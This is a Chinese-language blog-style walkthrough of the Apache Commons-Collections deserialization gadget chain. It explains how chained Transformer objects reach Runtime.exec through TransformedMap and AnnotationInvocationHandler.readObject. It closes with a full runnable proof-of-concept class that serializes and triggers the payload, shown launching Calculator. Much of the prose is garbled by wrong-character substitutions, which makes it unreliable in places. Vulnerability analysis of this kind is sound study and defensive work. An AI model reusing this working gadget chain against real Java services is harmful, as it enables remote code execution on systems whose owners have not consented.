前言

本文将通过 Apache Commons-collections爆出的反序列化破绽来作为例子进行原理剖析。

破绽成因

在这个Java反序列化破绽的利用链次要由三个局部组成

1、能够执行恶意代码的对象(在这个例子中即为Commons-collection中的Transformer类)

2、一个被歹意对象“寄生的宿主”,艰深的来说就是,宿主对象反序列化的时候因为须要执行readObject办法,而readObject办法在能够被序列化的类中须要被重写,重写后的办法可能存在某些可能触发歹意对象执行的操作。

3、须要一个可能将歹意对象进行包装的类。在有的状况下歹意对象没有方法间接‘寄生“在宿主上,这时候就须要一个类可能将歹意对象进行包装

在这个例子中恶意代码对象为Commons-collection中的Transformer类,这个类本来的设计是用来对类进行转换,而通过精心设计(后文会具体解说)后可能通过这个类的transform办法实现命令执行。而被寄生的宿主为AnnotationInvocationHandlerMap类,通过其readObject办法可能触发破绽。而AnnotationInvocationHandlerMap类中有一个Map类型的成员变量memberValuesTransformer类能够通过用Map类包装寄生在AnnotationInvocationHandlerMap

接下来会分为两个局部解释,即1如何通过transfomer进行命令执行,2是如何利用反序列化实现一个调用链

Transformer类的作用

首先咱们先看一下导致这个问题的外围类Transformer

public interface Transformer {    public Object transform(Object input);}

这是一个接口类,须要实现一个transform办法,而transform办法的目标是将input object转换为一个output object 从而实现类型的转换

在整个调用过程中用到了三个实现Transformer的实现类,ConstantTransformer,InvokerTransformer,ChainedTransformer.

ConstantTransformer

//以下省去了局部代码public class ConstantTransformer implements Transformer, Serializable {    /** Serial version UID */    private static final long serialVersionUID = 6374440726369055124L;    /** The closures to call in turn */    private final Object iConstant;    public ConstantTransformer(Object constantToReturn) {        super();        iConstant = constantToReturn;    }      public Object transform(Object input) {        return iConstant;    }}

可通过查看ConstantTransformer的源码发现,其transform办法无论输出什么类型都会返回一种初始化时定好的类型。

System.out.println(new ConstantTransformer(Runtime.class).transform(String.class));//输入:class java.lang.Runtime//无论transform的参数是什么都会失去雷同的后果

InvokerTransformer

//以下省去了局部代码public class InvokerTransformer implements Transformer, Serializable {    /** The serial version */    private static final long serialVersionUID = -8653385846894047688L;        /** The method name to call */    private final String iMethodName;    /** The array of reflection parameter types */    private final Class[] iParamTypes;    /** The array of reflection arguments */    private final Object[] iArgs;    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {        super();        iMethodName = methodName;        iParamTypes = paramTypes;        iArgs = args;    }      public Object transform(Object input) {        if (input == null) {            return null;        }        try {            Class cls = input.getClass();            Method method = cls.getMethod(iMethodName, iParamTypes);            return method.invoke(input, iArgs);                        } catch (NoSuchMethodException ex) {          ***    }}
return method.invoke(input, iArgs);

InvokerTransformertransform办法则是将传入的类的某种办法(办法名和参数同样在初始化的时候设定好了)利用invoke进行调用

System.out.println(new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}).transform(Runtime.class));//output:public static java.lang.Runtime java.lang.Runtime.getRuntime()

当输出的参数为Runtime.class时相当于会调用 Runtime.classgetMethod办法

public Method getMethod(String name, Class<?>... parameterTypes)

能够看到这个办法所须要的参数为name和参数类型,所以咱们如果须要获取RuntimegetRuntime办法则须要传入的参数为 “getRuntime” 即办法名以及其对应的参数类型 Class<?>

public static Runtime getRuntime() {        return currentRuntime;}

getRuntime是个无参函数,所以传入一个空的Class数组即可。即Class[0]

ChainedTransformer

//省略局部代码public class ChainedTransformer implements Transformer, Serializable {    /** Serial version UID */    private static final long serialVersionUID = 3514945074733160196L;    /** The transformers to call in turn */    private final Transformer[] iTransformers;    public ChainedTransformer(Transformer[] transformers) {        super();        iTransformers = transformers;    }      public Object transform(Object object) {        for (int i = 0; i < iTransformers.length; i++) {            object = iTransformers[i].transform(object);        }        return object;    }}

ChainedTransformertransform办法的作用是调用多个transfomertransform顺次对object进行操作也就是能够将多个transformer串联起来

命令执行

假如咱们须要执行一段这样的代码 Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")

那咱们能够结构如下的调用链来实现

Transformer[] transformers = new Transformer[] {                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),        };Transformer transformer = new ChainedTransformer(transformers);transformer.transform(new Object());

即以上四个Transformer形成了一个ChainedTransformer,最终通过调用ChainedTransformertransform办法来实现命令执行

//通过ConstantTransformer先将传入的obejct批改为Runtime.classnew ConstantTransformer(Runtime.class) 

之前提到过InvokerTransformertransformer办法的作用是利用反射调用输出对象的某个办法

//将Runtime.class作为输出能够失去getRuntime的Method对象new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]})  //调用Method对象的invoke办法,参数为new Object[]{null,new Object[0]} //相当于执行method(getRuntime).invoke(null,new Object[0])//因为getRuntime为静态方法,所以不须要传入实例,所以invoke办法的第一个参数能够为null,之前提到过getRuntime为无参办法所以参数只须要传入new Object[0]即一个空数组,至于这里为什么不也传入一个null是因为当invoke做遍历args时不会报错//所以这个InvokerTransformer达到了传入一个Method对象转化为一个Runtime对象的目标new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),//拿到Runtime对象后再通过一次反射进行命令执行即可new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})

TransformedMap

以上的调用形式最终须要ChainedTransformer调用transform办法,那当初问题就变成了如何去触发这个办法,通过find usage看看有哪些类用到了Transformer,能够看到有一个TransformedMap应用了,对源码进行查看

//以下省略局部代码public class TransformedMap        extends AbstractInputCheckedMapDecorator        implements Serializable {    /** Serialization version */    private static final long serialVersionUID = 7023152376788900464L;    /** The transformer to use for the key */    protected final Transformer keyTransformer;    /** The transformer to use for the value */    protected final Transformer valueTransformer;     public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {        return new TransformedMap(map, keyTransformer, valueTransformer);    }       protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {        super(map);        this.keyTransformer = keyTransformer;        this.valueTransformer = valueTransformer;    }     protected Object transformValue(Object object) {        if (valueTransformer == null) {            return object;        }        return valueTransformer.transform(object);    }    protected Map transformMap(Map map) {        if (map.isEmpty()) {            return map;        }        Map result = new LinkedMap(map.size());        for (Iterator it = map.entrySet().iterator(); it.hasNext(); ) {            Map.Entry entry = (Map.Entry) it.next();            result.put(transformKey(entry.getKey()), transformValue(entry.getValue()));        }        return result;    }        /**     * Override to transform the value when using <code>setValue</code>.     *      * @param value  the value to transform     * @return the transformed value     * @since Commons Collections 3.1     */    protected Object checkSetValue(Object value) {        return valueTransformer.transform(value);    }    public Object put(Object key, Object value) {        key = transformKey(key);        value = transformValue(value);        return getMap().put(key, value);    }}

TransformedMap执行setValue/put/putAll中的任意办法都会调用transform办法,从而也就会触发命令执行。咱们只须要将之前结构好的歹意ChainedTransformer包装进TransformedMap并想方法触发TransformedMapsetValue/put/putAll办法即可

Map innerMap = new HashMap();innerMap.put("value","1");Map ouputMap = TransformedMap.decorate(innerMap,null,chainedTransformer);

AnnotationInvocationHandlerMap类

在Java的低版本(jdk1.8较低的版本如 1.8u60,在较高的jdk版本该问题类曾经被修复)代码中存在AnnotationInvocationHandlerMap类,其readObject办法如下所示

 private void readObject(java.io.ObjectInputStream s)          throws java.io.IOException, ClassNotFoundException {      s.defaultReadObject();      // Check to make sure that types have not evolved incompatibly      AnnotationType annotationType = null;      try {          annotationType = AnnotationType.getInstance(type);      } catch (IllegalArgumentException e) {          // Class is no longer an annotation type; time to punch out          throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");      }      Map<String, Class<?>> memberTypes = annotationType.memberTypes();      // If there are annotation members without values, that      // situation is handled by the invoke method.      for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {          String name = memberValue.getKey();          Class<?> memberType = memberTypes.get(name);          if (memberType != null) {  // i.e. member still exists              Object value = memberValue.getValue();              if (!(memberType.isInstance(value) ||                      value instanceof ExceptionProxy)) {                  memberValue.setValue(                          new AnnotationTypeMismatchExceptionProxy(                                  value.getClass() + "[" + value + "]").setMember(                                  annotationType.members().get(name)));              }          }      }  }

AnnotationInvocationHandler类实现了InvocationHandler(Java动静代理)接口和java.io.Serializable接口,它还重写了readObject办法,在readObject办法中还间接的调用了TransformedMapMapEntrysetValue办法,触发TransformedMap中的checkSetValue办法,从而也就触发了transform办法,实现了整个攻打链的调用。

因为sun.reflect.annotation.AnnotationInvocationHandler是一个外部API专用的类,在内部咱们无奈通过类名创立出AnnotationInvocationHandler类实例,所以咱们须要通过反射的形式创立出AnnotationInvocationHandler对象

//jdk1.8高版本该类的办法readObject()是应用了native办法安全更新map,无奈再触发Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);ctor.setAccessible(true);InvocationHandler o = (InvocationHandler) ctor.newInstance(Target.class,ouputMap);

咱们只须要将这个InvocationHandler对象序列化后就能够失去用于攻打的payload了。

残缺代码

import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.util.HashMap;import java.util.Map;public class SerializeMapForTransformer{    public static void main( String[] args ) throws Exception {        Transformer[] transformers = new Transformer[] {                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),        };        Transformer transformer = new ChainedTransformer(transformers);        //利用AnnotationInvocationHandler反序列化,间接触发Transformer ---jdk1.8高版本曾经更新无奈再胜利了        testAnnotationInvocationHandlerMap(transformer);        //测试TransformerMap在map的key、value扭转中触发        //testMap(transformer);    }    /**     * 测试AnnotationInvocationHandler反序列化中,间接触发Transformer     *     */    private static void testAnnotationInvocationHandlerMap(Transformer transformer) throws Exception{        //转化map        Map innerMap = new HashMap();        innerMap.put("value","1");        Map ouputMap = TransformedMap.decorate(innerMap,null,transformer);        //jdk1.8该类的办法readObject()是应用了native办法安全更新map,无奈再触发        Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);        ctor.setAccessible(true);        InvocationHandler o = (InvocationHandler) ctor.newInstance(Target.class,ouputMap);        //序列化输入        byte[] bytes = serialize(o);        //反序列化        deserialize(bytes);    }    /**     * 测试TransformerMap在包装的map中,key、value扭转触发Transformer     *     */    private static void testMap(Transformer transformer) throws Exception{        //转化map        Map ouputMap = TransformedMap.decorate(new HashMap<>(),null,transformer);        //序列化输入        byte[] bytes = serialize(ouputMap);        //反序列化        Map innerMap = deserialize(bytes);        //put操作触发,命令链        innerMap.put("1","value");    }    public static byte[] serialize(Object o) throws Exception {        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);        objectOutputStream.writeObject(o);        byte[] bytes = byteArrayOutputStream.toByteArray();        objectOutputStream.close();        return bytes;    }    public static <T>T deserialize(byte[] bytes) throws Exception {        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);        T o = (T) objectInputStream.readObject();        objectInputStream.close();        return o;    }}